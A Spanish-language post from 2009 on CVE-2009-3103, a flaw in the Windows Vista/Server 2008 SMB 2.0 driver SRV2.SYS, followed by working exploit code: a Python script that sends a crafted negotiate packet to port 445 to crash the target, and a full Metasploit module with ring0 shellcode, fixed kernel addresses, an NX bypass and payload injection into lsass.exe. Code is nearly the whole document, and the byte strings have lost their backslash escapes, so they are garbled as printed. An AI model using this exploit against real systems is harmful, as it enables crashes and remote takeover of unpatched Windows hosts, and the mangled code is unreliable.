Microsoft Windows SMB 2.0 SRV2.SYS Negotiate Request BSoD

Oct 6, 2009

El bug esta en el header de SMB, v2, de la nueva implementacion que nos provee MS a partir de Windows Vista.

La funcion vulnerable es _Smb2ValidateProviderCallback() que mediante un dereferenced call nos permite controlar un short proveniente de un array. El campo problematico es el Process ID High del header de SMB en el SMB_NEGOTIATE

Cuando en ese campo se introduce un "&", produce un BSoD. La explotacion no es trivial pero si existe una posibilidad.

Dejo un exploit en Phyton:

Smb-Bsod.py:

#!/usr/bin/python

from socket import socket

host = "IP_ADDR", 445
buff = (
    "x00x00x00x90" # Begin SMB header: Session message
    "xffx53x4dx42" # Server Component: SMB
    "x72x00x00x00" # Negociate Protocol
    "x00x18x53xc8" # Operation 0x18 & sub 0xc853
    "x00x26"# Process ID High: --> :) normal value should be "x00x00"
"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"
"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"
"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"
"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"
"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"
"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"
"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"
"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"
"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"
"x30x30x32x00"
  )
  s = socket()
  s.connect(host)
  s.send(buff)
s.close()

O bien para metasploit en Ruby:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::SMB

def initialize(info = {})
  super(update_info(info,
        'Name'           => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
        'Description'    => %q{
        This module exploits an out of bounds function table dereference in the SMB
        request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
        release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
        without SP1 does not seem affected by this flaw.
        },
        'Author'         => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ],
        'License'        => MSF_LICENSE,
        'Version'        => '$Revision$',
        'References'     => [
                            ['CVE', '2009-3103'],
                            ['BID', '36299'],
                            ['OSVDB', '57799'],
                            ['URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html'],
                            ['URL', 'http://www.microsoft.com/technet/security/advisory/975497.mspx']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Privileged'     => true,
        'Payload'        => {
          'Space'           => 1024,
          'StackAdjustment' => -3500,
          'DisableNops'     => true,
          'EncoderType'     => Msf::Encoder::Type::Raw,
        },
        'Platform'       => 'win',
        'Targets'        => [
          [ 'Windows Vista SP1/SP2 and Server 2008 (x86)', {
            'Platform'       => 'win',
            'Arch'           => [ ARCH_X86 ],
            'Ret'            => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :)
              'ReadAddress'    => 0xFFDF0D04, # A readable address from kernel space (no nulls in address).
              'ProcessIDHigh'  => 0x0217,     # srv2!SrvSnapShotScavengerTimer
              'MagicIndex'     => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0
          }],
        ],
        'DefaultTarget' => 0
    ))

    register_options( [ Opt::RPORT(445), OptInt.new( 'WAIT', [ true,  "The number of seconds to wait for the attack to complete.", 180 ] ) ], self.class )
    end

# The payload works as follows:
# * Our sysenter handler and ring3 stagers are copied over to safe location.
# * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
# * The srv2.sys thread we are in is placed in a halted state.
# * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
# * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
# * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
# * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
# * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
def ring0_x86_payload( opts = {} )

# The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
  pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00

# The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
  kstager   = opts['StagerAddressKernel'] || 0xFFDF0400

# The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
  ustager   = opts['StagerAddressUser'] || 0x7FFE0400

# Target SYSTEM process to inject ring3 payload into.
  process   = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')

# A simple hash of the process name based on the first 4 wide chars.
# Assumes process is located at '*:windowssystem32'. (From Rex::Payloads::Win32::Kernel::Stager)
checksum  = process[0] + ( process[2] << 8 )  + ( process[1] << 16 ) + ( process[3] << 24 )

# The ring0 -> ring3 payload blob. Full assembly listing given below.
  r0 =    "xFCxFAxEBx1Ex5Ex68x76x01x00x00x59x0Fx32x89x46x60" +
  "x8Bx7Ex64x89xF8x0Fx30xB9x41x41x41x41xF3xA4xFBxF4" +
  "xEBxFDxE8xDDxFFxFFxFFx6Ax00x9Cx60xE8x00x00x00x00" +
  "x58x8Bx58x57x89x5Cx24x24x81xF9xDExC0xADxDEx75x10" +
  "x68x76x01x00x00x59x89xD8x31xD2x0Fx30x31xC0xEBx34" +
  "x8Bx32x0FxB6x1Ex66x81xFBxC3x00x75x28x8Bx58x5Fx8D" +
  "x5Bx6Cx89x1AxB8x01x00x00x80x0FxA2x81xE2x00x00x10" +
  "x00x74x11xBAx45x45x45x45x81xC2x04x00x00x00x81x22" +
  "xFFxFFxFFx7Fx61x9DxC3xFFxFFxFFxFFx42x42x42x42x43" +
  "x43x43x43x60x6Ax30x58x99x64x8Bx18x39x53x0Cx74x2E" +
  "x8Bx43x10x8Bx40x3Cx83xC0x28x8Bx08x03x48x03x81xF9" +
  "x44x44x44x44x75x18xE8x0Ax00x00x00xE8x10x00x00x00" +
  "xE9x09x00x00x00xB9xDExC0xADxDEx89xE2x0Fx34x61xC3"
# Patch in the required values.
  r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + payload.encoded.length - 0x1C ) ].pack("V") )
  r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
  r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
  r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
  r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
# Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
  return r0 + payload.encoded
  end

  def exploit
  print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
  connect

# we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest
# and srv2!SrvProcPartialCompleteCompoundedRequest
  dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]

  data  = dialects.collect { |dialect| "x02" + dialect + "x00" }.join('')
  data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
  data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
  data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34
  data += [ 0x42424242 ].pack("V") * 7  # Unused
  data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E)
  data += [ 0x41414141 ].pack("V") * 6  # Unused
  data += [ target.ret ].pack("V")      # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
  data += ring0_x86_payload( target['PayloadOptions'] || {} ) # Our ring0 -> ring3 shellcode

# We gain code execution by returning into the SMB packet, begining with its header.
# The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
# This will cause an access violation if executed as we can never set EBX to a valid pointer.
# To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
# This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
# We patch the Signature1 value to be a jump forward into our shellcode.
  packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
  packet['Payload']['SMB'].v['Command']       = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
  packet['Payload']['SMB'].v['Flags1']        = 0x18
  packet['Payload']['SMB'].v['Flags2']        = 0xC853
  packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
  packet['Payload']['SMB'].v['Signature1']    = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
  packet['Payload']['SMB'].v['Signature2']    = 0x00000000 # ...
  packet['Payload']['SMB'].v['MultiplexID']   = rand( 0x10000 )
  packet['Payload'].v['Payload']              = data

  packet = packet.to_s

  print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
sock.put( packet )

  wtime = datastore['WAIT'].to_i
  print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
  stime = Time.now.to_i

  poke_logins = %W{Guest Administrator}
  poke_logins.each do |login|
  begin
sec = connect(false)
  sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
  rescue ::Exception => e
  sec.socket.close
  end
  end

  while( stime + wtime > Time.now.to_i )
select(nil, nil, nil, 0.25)
  break if session_created?
  end

  handler
  disconnect
  end

  end

Versiones afectadas:

Windows Vistas Sp1 Sp2 tanto de 32 como de 64 bits

Windows 7 RC

Windows 2008  Sp1 Server